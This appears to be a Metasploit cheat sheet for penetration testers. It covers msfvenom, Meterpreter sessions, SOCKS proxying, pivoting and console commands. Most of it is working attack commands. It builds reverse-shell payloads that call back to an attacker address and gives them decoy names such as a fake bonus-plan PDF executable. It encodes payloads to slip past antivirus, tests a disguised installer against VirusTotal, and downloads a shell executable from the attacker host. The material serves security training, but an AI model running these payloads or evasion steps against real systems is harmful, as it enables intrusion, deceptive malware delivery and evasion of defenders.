Metasploit
ABOUT
Metasploit Project is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute the exploit code. This exploit code can be custom-made by the user or taken from a database containing the latest already discovered and modularized exploits. The Metasploit Framework includes a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. At its core, the Metasploit Project is a collection of commonly used tools that provide a complete environment for penetration testing and exploit development. Files usually located at /usr/share/metasploit-framework.
What is MS Module? A module is a piece of software that the Metasploit Framework uses to perform a task, such as exploiting or scanning a target. A module can be an exploit module, auxiliary module, or post-exploitation module.
ARCHITECTURE
Auxiliary - Any supporting module, such as scanners, crawlers and fuzzers.
Encoders - Will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
Evasion - While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software. On the other hand, “evasion” modules will try that, with more or less success.
Exploits - Exploits, neatly organized by target system.
NOPs -
(No Operation code)Keep the payload sizes consistent across exploit attempts.Payloads - Payloads are codes that will run on the target system.
Post - Post modules would be useful in post-exploitation.
MSFVENOM
Msfvenom is a tool that is part of the Metasploit framework and it is a command line tool for generating different types of payloads for exploiting. In addition to providing a payload with flexible delivery options, MSFvenom also allows us to encrypt & encode payloads to bypass common anti-virus detection signatures.
List Payloads
msfvenom -l payloadsBuilding a Stageless Payload for Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=13.13.13.13 LPORT=443 -f elf > createbackup.elfBuilding a Stageless Payload for Windows
msfvenom -p windows/shell_reverse_tcp LHOST=13.13.13.13 LPORT=443 -f exe > BonusCompensationPlanpdf.exeStaged vs Stageless Payloads
Staged payloads create a way for us to send over more components of our attack. So if more simply, the whole payload has few stages, first to get connection and others to load additional programs
Stageless payloads do not have a stage. So all payload and programs are loaded at first time.
METERPRETER
The Meterpreter payload is a specific type of multi-faceted payload that uses DLL injection to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes. Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques.
Encoder
Generating Payload - With Encoding
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_naiList Encoders
msf6 exploit(windows/smb/goose) > show encodersMSF - VirusTotal
msf-virustotal -k <API key> -f TeamViewerInstall.exeSessions
Listing Active Sessions
msf6 exploit(windows/smb/goose) > sessionsInteracting with a Session
msf6 exploit(windows/smb/goose) > sessions -i 1Getting shell
msf6 exploit(windows/smb/goose) > shellBackground session
meterpreter > background
OR
Ctrl+Z
OR
meterpreter > bgKilling session
msf6 exploit(windows/smb/goose) > sessions -k 1Listing Running Jobs
msf6 exploit(multi/handler) > jobs -lRun an Exploit as a Background Job
msf6 exploit(multi/handler) > exploit -jMAKING PROXY
# Configuring
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
msf6 auxiliary(server/socks_proxy) > run
# Confirming proxy is running
auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxyPIVOTING
Autoroute
Autoroute is used in penetration testing to enable network pivoting, allowing attackers to route traffic through a compromised host to access internal subnets that are not directly reachable. This facilitates reconnaissance, exploitation, and lateral movement within isolated or segmented networks.
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 13.13.13.0
msf6 post(multi/manage/autoroute) > run
meterpreter > run autoroute -s 13.13.13.0/23
meterpreter > run autoroute -p # list active routesLocal Port-Forwarding
meterpreter > portfwd add -l 1234 -p 4321 -r 13.13.13.13
# Forward all packets on 1234 port to 4321 port on 13.13.13.13 hostRemote Port-Forwarding
meterpreter > portfwd add -R -l 1234 -p 4321 -L 13.13.13.13
# Forward all packets from 4321 port on 13.13.13.13 to our local 1234 portUSEFUL MSFCONSOLE COMMANDS
Specific Search
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoftGet more info about module
infoPermanent Target Specification
msf6 exploit(windows/smb/amogus) > setg RHOSTS 13.13.13.13Show and Set Target for exploit
msf6 exploit(windows/browser/goose) > show targets
...
msf6 exploit(windows/browser/goose) > set target 3Searching for Specific Payload
msf6 exploit(windows/smb/goose) > grep meterpreter grep reverse_tcp show payloadsUse Local Exploit Suggester
msf6 > search local exploit suggesterPing Sweep
run post/multi/gather/ping_sweep RHOSTS=13.13.13.0/23LIFEHACKS
Use wget -o parameter when you want to install revshell file into machine like:
wget http://13.13.13.13:1337/shell.exe -o shell.exeLast updated